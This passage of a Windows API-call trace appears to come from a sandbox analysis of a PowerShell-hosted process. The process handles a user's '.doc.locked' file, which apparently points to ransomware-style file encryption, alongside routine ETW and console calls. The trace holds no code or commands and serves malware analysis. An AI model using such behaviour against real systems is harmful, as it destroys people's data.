(lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\1ZzY.doc.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1jpspqnpiszxcgt8h\\62hujb\\tkzv55s072owx0pobkt\\1zzy.doc.locked")) returned 0x20 [0130.441] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\1ZzY.doc.locked", nBufferLength=0x105, lpBuffer=0x99adf7c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\1ZzY.doc.locked", lpFilePart=0x0) returned 0x5c [0130.441] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\1ZzY.doc.locked", nBufferLength=0x105, lpBuffer=0x99adf40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\1ZzY.doc.locked", lpFilePart=0x0) returned 0x5c [0130.441] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.442] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\1ZzY.doc", nBufferLength=0x105, lpBuffer=0x99ae1bc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\1ZzY.doc", lpFilePart=0x0) returned 0x55 [0130.442] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="") returned 0x0 [0130.442] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.442] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.442] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.450] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.451] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="") returned 0x0 [0130.451] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.451] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xd, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.452] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.454] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.455] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="") returned 0x0 [0130.455] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.455] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.455] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.458] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.459] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="") returned 0x0 [0130.459] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x10, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.459] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.459] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x10, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x10, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.462] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x10, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.463] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae2c4, nSize=0x100 | out: lpBuffer="") returned 0x0 [0130.463] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae69c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae69c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x11, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.463] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae5fc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae5fc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x10, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.463] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x11, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae68c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x11, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.466] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae628*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae628*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x11, [1]=0x19, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0130.469] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x99adc40, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.Net\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x87 [0130.470] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99addb8) returned 1 [0130.470] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\1ZzY.doc.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1jpspqnpiszxcgt8h\\62hujb\\tkzv55s072owx0pobkt\\1zzy.doc.locked"), fInfoLevelId=0x0, lpFileInformation=0x68fffe8 | out: lpFileInformation=0x68fffe8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10f6b61b, ftCreationTime.dwHighDateTime=0x1d4bf19, ftLastAccessTime.dwLowDateTime=0x10f6b61b, ftLastAccessTime.dwHighDateTime=0x1d4bf19, ftLastWriteTime.dwLowDateTime=0x10f6b61b, ftLastWriteTime.dwHighDateTime=0x1d4bf19, nFileSizeHigh=0x0, nFileSizeLow=0x5324)) returned 1 [0130.470] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99addb4) returned 1 [0130.470] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\1ZzY.doc.locked", nBufferLength=0x105, lpBuffer=0x99ad894, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\1ZzY.doc.locked", lpFilePart=0x0) returned 0x5c [0130.470] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1JpsPqnpISzxCGT8h\\62huJB\\tkzv55s072Owx0PobKt\\1ZzY.doc.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\1jpspqnpiszxcgt8h\\62hujb\\tkzv55s072owx0pobkt\\1zzy.doc.locked"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x874 [0130.470] GetFileInformationByHandle (in: hFile=0x874, lpFileInformation=0x99ade00 | out: lpFileInformation=0x99ade00) returned 1 [0130.471] CloseHandle (hObject=0x874) returned 1 [0130.477] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae470 | out: lpConsoleScreenBufferInfo=0x99ae470) returned 1 [0130.478] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae478 | out: lpMode=0x99ae478) returned 1 [0130.478] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae470, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae470*=0x2) returned 1 [0130.485] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae414 | out: lpConsoleScreenBufferInfo=0x99ae414) returned 1 [0130.485] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae468 | out: lpConsoleScreenBufferInfo=0x99ae468) returned 1 [0130.486] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae470 | out: lpMode=0x99ae470) returned 1 [0130.486] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae468, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae468*=0x2) returned 1 [0130.491] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae478 | out: lpConsoleScreenBufferInfo=0x99ae478) returned 1 [0130.491] GetConsoleOutputCP () returned 0x1b5 [0130.491] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae1fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae1fc) returned 0 [0130.492] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae2c8 | out: lpConsoleScreenBufferInfo=0x99ae2c8) returned 1 [0130.492] GetConsoleOutputCP () returned 0x1b5 [0130.492] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae264, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae264) returned 0 [0130.492] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae2d0 | out: lpMode=0x99ae2d0) returned 1 [0130.493] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x692928c*, nNumberOfCharsToWrite=0x5b, lpNumberOfCharsWritten=0x99ae2c8, lpReserved=0x0 | out: lpBuffer=0x692928c*, lpNumberOfCharsWritten=0x99ae2c8*=0x5b) returned 1 [0130.493] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae2d0 | out: lpMode=0x99ae2d0) returned 1 [0130.494] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae2c8, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae2c8*=0x2) returned 1 [0130.498] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae3d0 | out: lpConsoleScreenBufferInfo=0x99ae3d0) returned 1 [0130.498] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae3d8 | out: lpMode=0x99ae3d8) returned 1 [0130.499] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae3d0, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae3d0*=0x2) returned 1 [0130.503] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae468 | out: lpConsoleScreenBufferInfo=0x99ae468) returned 1 [0130.504] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae470 | out: lpMode=0x99ae470) returned 1 [0130.504] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae468, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae468*=0x2) returned 1 [0130.509] GetConsoleOutputCP () returned 0x1b5 [0130.510] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae288, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae288) returned 0 [0130.510] GetConsoleOutputCP () returned 0x1b5 [0130.510] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae320, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae320) returned 0 [0130.510] GetConsoleOutputCP () returned 0x1b5 [0130.511] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2fc) returned 0 [0130.511] GetConsoleOutputCP () returned 0x1b5 [0130.511] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2fc) returned 0 [0130.511] GetConsoleOutputCP () returned 0x1b5 [0130.512] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae288, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae288) returned 0 [0130.512] GetConsoleOutputCP () returned 0x1b5 [0130.512] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae320, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae320) returned 0 [0130.512] GetConsoleOutputCP () returned 0x1b5 [0130.513] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2fc) returned 0 [0130.513] GetConsoleOutputCP () returned 0x1b5 [0130.513] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2fc) returned 0 [0130.513] GetConsoleOutputCP () returned 0x1b5 [0130.513] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae288, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae288) returned 0 [0130.513] GetConsoleOutputCP () returned 0x1b5 [0130.514] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae320, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae320) returned 0 [0130.514] GetConsoleOutputCP () returned 0x1b5 [0130.514] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2fc) returned 0 [0130.514] GetConsoleOutputCP () returned 0x1b5 [0130.515] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2fc) returned 0 [0130.515] GetConsoleOutputCP () returned 0x1b5 [0130.515] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae288, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae288) returned 0 [0130.515] GetConsoleOutputCP () returned 0x1b5 [0130.516] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae320, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae320) returned 0 [0130.516] GetConsoleOutputCP () returned 0x1b5 [0130.516] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2fc) returned 0 [0130.516] GetConsoleOutputCP () returned 0x1b5 [0130.516] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae2fc) returned 0 [0130.516] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae3c4 | out: lpConsoleScreenBufferInfo=0x99ae3c4) returned 1 [0130.517] GetConsoleOutputCP () returned 0x1b5 [0130.517] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae360, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae360) returned 0 [0130.517] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae3cc | out: lpMode=0x99ae3cc) returned 1 [0130.518] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x692a1c8*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae3c4, lpReserved=0x0 | out: lpBuffer=0x692a1c8*, lpNumberOfCharsWritten=0x99ae3c4*=0x77) returned 1 [0130.518] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae3cc | out: lpMode=0x99ae3cc) returned 1 [0130.519] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae3c4, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae3c4*=0x2) returned 1 [0130.524] GetConsoleOutputCP () returned 0x1b5 [0130.524] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3c0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3c0) returned 0 [0130.524] GetConsoleOutputCP () returned 0x1b5 [0130.525] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3c0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3c0) returned 0 [0130.525] GetConsoleOutputCP () returned 0x1b5 [0130.525] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3c0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3c0) returned 0 [0130.525] GetConsoleOutputCP () returned 0x1b5 [0130.526] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae3c0, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae3c0) returned 0 [0130.526] GetConsoleOutputCP () returned 0x1b5 [0130.526] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae34c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae34c) returned 0 [0130.526] GetConsoleOutputCP () returned 0x1b5 [0130.527] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae34c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae34c) returned 0 [0130.527] GetConsoleOutputCP () returned 0x1b5 [0130.527] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae34c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae34c) returned 0 [0130.527] GetConsoleOutputCP () returned 0x1b5 [0130.527] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae34c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae34c) returned 0 [0130.528] GetConsoleOutputCP () returned 0x1b5 [0130.528] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae34c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae34c) returned 0 [0130.528] GetConsoleOutputCP () returned 0x1b5 [0130.528] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae34c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae34c) returned 0 [0130.528] GetConsoleOutputCP () returned 0x1b5 [0130.529] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae34c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae34c) returned 0 [0130.529] GetConsoleOutputCP () returned 0x1b5 [0130.529] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae34c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae34c) returned 0 [0130.529] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae3c4 | out: lpConsoleScreenBufferInfo=0x99ae3c4) returned 1 [0130.530] GetConsoleOutputCP () returned 0x1b5 [0130.530] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae360, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae360) returned 0 [0130.530] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae3cc | out: lpMode=0x99ae3cc) returned 1 [0130.531] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x692ac20*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae3c4, lpReserved=0x0 | out: lpBuffer=0x692ac20*, lpNumberOfCharsWritten=0x99ae3c4*=0x77) returned 1 [0130.531] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae3cc | out: lpMode=0x99ae3cc) returned 1 [0130.531] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae3c4, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae3c4*=0x2) returned 1 [0130.539] GetConsoleOutputCP () returned 0x1b5 [0130.539] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae2c0, 